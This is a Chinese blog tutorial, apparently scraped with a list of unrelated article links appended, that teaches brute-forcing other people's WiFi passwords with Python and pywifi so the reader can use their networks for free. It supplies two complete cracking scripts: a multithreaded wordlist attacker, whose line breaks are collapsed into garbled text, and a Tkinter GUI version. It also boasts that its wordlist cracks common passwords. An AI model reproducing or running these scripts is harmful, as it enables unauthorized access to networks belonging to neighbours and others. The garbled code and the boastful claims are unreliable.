目录

前言

1.安装python的包

多线程破解教程

基本流程

密码本如下

完整代码如下

破解效果如下

界面版本WiFi破解

注意

代码

破解效果图如下

总结


前言

有很多小伙伴想要破解WiFi密码,一个一个试太麻烦了不如让python帮你去破解,今天我们就来教大家如何破解WiFi,实现免费蹭网,你就是最靓的仔

1.安装python的包

第一步首先安装以下两个包,确保有这两个包之后才能够成功破解,不然会报错哦,安装包的地方看图二哦

多线程破解教程

基本流程

首先这里介绍一下多线程破解的基本流程如下

(1)读取电脑无线网卡数目,获取每一张网卡对象

(2)为每一个网卡对象创建线程

(3)读取密码本文件夹下的每一个密码txt文件

(4)每条线程对不同的密码本进行读取

(5)每条线程对同一个wifi进行验证

(6)某一条线程连接成功,终止其他线程

(7)将密码存入pwd.txt文件下

密码本如下

一般常用的WiF密码都在这里面哦超级全,鄙人亲自测试,完全可以破解

完整代码如下

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from __future__ import print_function
import os
import threading
import time
import pywifi
from pywifi import constclass NewWifi(object):def __init__(self, wifiName, filePath):self.tag = Falseself.wifiName = wifiNameself.filePath = filePathwifi = pywifi.PyWiFi()  # 抓取网卡接口self.ifaces = wifi.interfaces()  # 获取无线网卡,list类型for i in self.ifaces:i.disconnect()  # 断开所有无线连接def readPassword(self, pfl, iface):for pf in pfl:if self.tag is True:breakpath = self.filePath + "\\" + pffile = open(path, "r")while True:pwd = file.readline()self.connect(pwd.strip(), iface)if self.tag is True:breakelif pwd == '':print(pf + "没有密码!")breakelse:print("破解中...: " + pwd, end='')def connect(self, pwd, iface):profile = pywifi.Profile()  # 创建WiFi连接文件profile.ssid = self.wifiName  # 要连接WiFi的名称profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法,一般wifi加密算法为wpsprofile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元profile.key = pwd  # 调用密码iface.remove_all_network_profiles()  # 删除所有连接过的wifi文件tmp_profile = iface.add_network_profile(profile)  # 设定新的连接文件iface.connect(tmp_profile)  # 连接wifitime.sleep(3.5)if iface.status() == const.IFACE_CONNECTED:  # 判断是否成功连接self.tag = Truef = open("test.txt", 'w')f.write(pwd)print("----------------密码已破解!-------------------"+pwd)iface.disconnect()time.sleep(0.5)def getPasswordFileList(self, num, l):files = []fileList = os.listdir(self.filePath)#print(fileList)while num < len(fileList):files.append(fileList[num])num += lreturn filesdef main(self):wifiLength = len(self.ifaces)for i in range(wifiLength):if self.tag is False:passwordFileList = self.getPasswordFileList(i, wifiLength)th = threading.Thread(target=self.readPassword, args=(passwordFileList, self.ifaces[i]))th.start()# print(passwordFileList)if __name__ == '__main__':nw = NewWifi('REct', 'passwordList')  # CMCC-udKgnw.main()

这里使用的是多线程去破解WiFi,相当于把每一个密码本分发给每个无限的网卡,不同网卡使用一个同的密码文件,多线程的破解就会比单线程破解比较快

破解效果如下

密码最终会保存在文件中去,是不是非常方便哈哈哈哈哈,多线程破解要比单线程暴力破解快了很多 ,但是这样子运行显得很一般,在别人面前装也装不起来,那么我又加以改进做了个带界面版本的。

界面版本WiFi破解

注意

首先注意界面版本我们需要导包这里要注意下

代码

话不多说直接上代码

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from Tkinter import *
from pywifi import const
import pywifi
import time# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
def wificonnect(str, wifiname):# 窗口无线对象wifi = pywifi.PyWiFi()# 抓取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的wifiifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:# 创建wifi连接文件profile = pywifi.Profile()profile.ssid = wifiname# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# wifi的密码profile.key = str# 网卡的开发profile.auth = const.AUTH_ALG_OPEN# 加密单元,这里需要写点加密单元否则无法连接profile.cipher = const.CIPHER_TYPE_CCMP# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设置新的连接文件tep_profile = ifaces.add_network_profile(profile)# 连接ifaces.connect(tep_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef readPwd():# 获取wiif名称wifiname = entry.get().strip()path = r'./pwd.txt'file = open(path, 'r')while True:try:# 读取mystr = file.readline().strip()# 测试连接bool = wificonnect(mystr, wifiname)if bool:text.insert(END, '密码正确' + mystr)text.see(END)text.update()file.close()breakelse:text.insert(END, '密码错误' + mystr)text.see(END)text.update()except:continue# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称:')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()

破解效果图如下

这样子就显得比较高级点了,速度也是很快的

总结

这次分享了两种WiFi破解的方法,多线程和界面版的破解,另外就是破解的时候注意需要密码本哦,否则代码也识别不了密码,好了今天写道这里。如果哪里有问题 欢迎指出 !

Python破解WIFI升级版保姆级教程,多线程破解+界面(附赠密码本)相关推荐

  1. CAN通讯-使用Python收发CAN数据保姆级教程(包含完整代码)

    CAN通讯-使用Python收发CAN数据 配置环境 1.环境配置 1.1安装CAN通讯需要的包 1.2 安装kvaser_drivers以及Kvaser CanKing 2.使用Python收发数据 ...

  2. Python爬虫之入门保姆级教程,学不会我去你家刷厕所

    注重版权,转载请注明原作者和原文链接 作者:Bald programmer 今天这个教程采用最简单的爬虫方法,适合小白新手入门,代码不复杂 文章目录 今天这个教程采用最简单的爬虫方法,适合小白新手入门 ...

  3. 保姆级教程!将 Vim 打造一个 IDE (Python 篇)

    从上周开始我就开始折腾 ,搞了一下 Vim IDE for Python & Go,我将整个搭建的过程整理成本篇文章分享出来,本篇是 Python 版本的保姆级教程,实际上我还写了 Go 版本 ...

  4. 【图解SHA1杂凑算法】SHA1杂凑算法的Python实现保姆级教程 | 物联网安全 | 信息安全

    系列索引:[图解安全加密算法]加密算法系列索引 Python保姆级实现教程 | 物联网安全 | 信息安全 起初写实验时找到的代码大多基于c/c++,python可参考的资料很少,所以借着这次实验的机会 ...

  5. 保姆级教程如何用Xcode搭建python环境

    保姆级教程如何用mac电脑中的Xcode搭建python环境(xcode12) 「mac电脑自带python2.7,你也可以更新你的python版本」 打开Xcode,点击file-new-proje ...

  6. 判断是不是链接 正则_Python 正则表达式 保姆级教程,小学生都看得懂!!

    ~点击 蓝字 关注,获取更多资源~ 0 前言 上一篇文章,2020,还不会正则???,和小伙伴们一起学习了 Python 中的正则表达式,读完之后,总感觉少了点什么东西,无法尽兴?就好像爱你们的心少了 ...

  7. 从购买服务器到网站搭建成功保姆级教程~超详细

    ??从购买服务器到网站搭建成功保姆级教程~真的超详细,各位看官细品 ??前言 ??预备知识 ??什么是云服务器? ??什么是域名? ??什么是SSL证书? ??服务器选配 ??阿里云[官网链接](ht ...

  8. 天才少年稚晖君 | 【保姆级教程】个人深度学习工作站配置指南

    天才少年稚晖君 | [保姆级教程]个人深度学习工作站配置指南 来源:https://zhuanlan.zhihu.com/p/336429888 0. 前言 工作原因一直想配置一台自己的深度学习工作站 ...

  9. AI绘图–Disco Diffusion使用指南+本地化保姆级教程

    文章封面为个人AI绘图训练结果 项目传送门:传送门 (谷歌警告) 该项目为免费使用的AI绘图项目,并且可以在本地搭建部署环境. AI绘图对于人脸处理仍处于较为实现困难的阶段,因此该项目更适合用于各类场 ...

最新文章

  1. 阿里云云服务器ECS上的Ubuntu16.04桌面安装及root账户登录错误处理
  2. Django静态文件一瞥
  3. jittor和pytorch生成网络对比之sgan
  4. 成功解决TypeError: only integer scalar arrays can be converted to a scalar index
  5. [云炬python3玩转机器学习笔记] 3-2 Jupter Notebook魔法命令
  6. Elasticsearch的Scroll操作
  7. 862. 和至少为 K 的最短子数组
  8. C语言六叉树,递归创建二叉树c语言实现+详细解释
  9. 光棍节脱单,单身狗该你上了
  10. ubuntu学习日记--Lesson5:系统目录详解
  11. 从Hadoop看普通算法在一个系统中的应用
  12. Canvas 输出位图
  13. 【Android 逆向】APK 加壳脱壳现状 | 判断 APK 是否加壳 | APK 逆向流程
  14. 小程序外部样式类的使用
  15. PR 音频去噪、音频信号增强、音频导出wav文件;
  16. python重命名异常_Python:如何忽略异常并继续?
  17. leetcode 714. 买卖股票的时机含手续费 python
  18. 二值化轮廓图像轮廓点坐标顺时针获取matlab程序
  19. C# 给自己的网址接入微信扫描登录入口
  20. React中的Hooks是什么?

热门文章

  1. 用ue4怎么制作一个物体故障闪烁的特效
  2. IDEA中运行项目时 java: -source 1.5 中不支持 diamond 运算符 解决方法
  3. 【现代控制理论】| 线性系统的状态空间法
  4. 什么是马丁格尔策略?
  5. 定时使用Tushare下载日线交易数据到Sqlite3数据库
  6. 关于解决HbuilderX终端不能输入问题
  7. XWiki搭建(window+tomcat+MySQL+jdk)
  8. MATLAB/Simulink电力系统与仿真,第四章的2机5节点潮流计算模型建模经验
  9. Nvidia Jetson TK1 无线网卡(Intel 7260)驱动及配置
  10. 简单的车辆检测代码(opencv+python4.2.0 ) win10+64bit